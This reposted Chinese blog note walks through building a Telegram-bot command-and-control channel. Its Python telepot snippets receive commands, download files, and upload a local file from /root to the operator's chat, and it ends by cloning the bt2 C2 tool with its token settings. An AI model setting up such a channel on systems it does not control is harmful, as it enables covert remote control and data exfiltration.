本文转自公众号:洛米唯熊
0x00:简介
没啥新技术,基本就是老技术。我这里只是做笔记,仅供学习。
0x01:环境部署过程
1、申请TG token
https://telegram.me/botfather
这里有api的调用文档
https://core.telegram.org/bots/api
2、利用python 调用
#!python
#!/usr/bin/python
import sys
import time
import pprint
import telepot
bot = telepot.Bot('you-token')
print ('Listening ...')
def handle(msg):
print(msg)
def main():
try:
bot.message_loop(handle)
except Exception as err:
print (err)
while True:
time.sleep(10)
if __name__ == '__main__':
main()
3、测试token 调用效果
(记得要国外服务器的运行脚本,不然运行没结果。我自己的没结果)
服务器上运行
到TG上去对你的机器人说话
Python脚本看到你的消息
4、 服务端到客户端
PS:建议看一下API文档在来看
提取文字消息
使用glance()可以从接收的消息中提取一个元组
(content_type,chat_type,chat_id)
content_type 包括
text, audio, document, photo, sticker, video, voice,contact, location, venue, new_chat_member, left_chat_member, etc.
chat_type 包括
private, group, or channel.
所以我们可以使用glance()把接收的文字消息提取出来,代码如下:
#!python
#!/usr/bin/python
import sys
import time
import pprint
import telepot
bot = telepot.Bot('you-token')
print ('Listening ...')
def handle(msg):
content_type, chat_type, chat_id = telepot.glance(msg)
if content_type == 'text':
received_command = msg['text']
print (received_command)
else:
print (content_type, chat_type, chat_id)
return
def main():
try:
bot.message_loop(handle)
except Exception as err:
print (err)
while True:
time.sleep(10)
if __name__ == '__main__':
main()
接收文件
执行接收消息的python代码,可获得接收文件的消息格式.
下载文件需要使用
bot.download_file(file_id, filename)
#!python
#!/usr/bin/python
import sys
import time
import pprint
import telepot
bot = telepot.Bot('you-token')
print ('Listening ...')
def handle(msg):
content_type, chat_type, chat_id = telepot.glance(msg)
if content_type == 'text':
received_command = msg['text']
print (received_command)
elif content_type == 'document':
file_id = msg['document']['file_id']
filename = msg['document']['file_name']
bot.download_file(file_id, filename)
print ("[+] Download File Success!")
else:
print (content_type, chat_type, chat_id)
return
def main():
try:
bot.message_loop(handle)
except Exception as err:
print (err)
while True:
time.sleep(10)
if __name__ == '__main__':
main()
5、 客户端到服务端
发送消息使用
bot.sendMessage(chat_id, message)
向Server端发送一条消息,代码如下
#!python
import telepot
from pprint import pprint
bot = telepot.Bot('you-token')
bot.sendMessage(id, 'Hello C2 Server Jaky')
id换成你自己的ID
发送文件使用
bot.sendDocument(chat_id,file)
代码如下:
#!python
import telepot
from pprint import pprint
bot = telepot.Bot('you-token')
f = open('/root/学习资料-种子.txt', 'rb')
bot.sendDocument(id, f)
id换成你自己的ID
git clone https://github.com/blazeinfosec/bt2.git
API_TOKEN:token
BOTMASTER_ID:自己帐号的id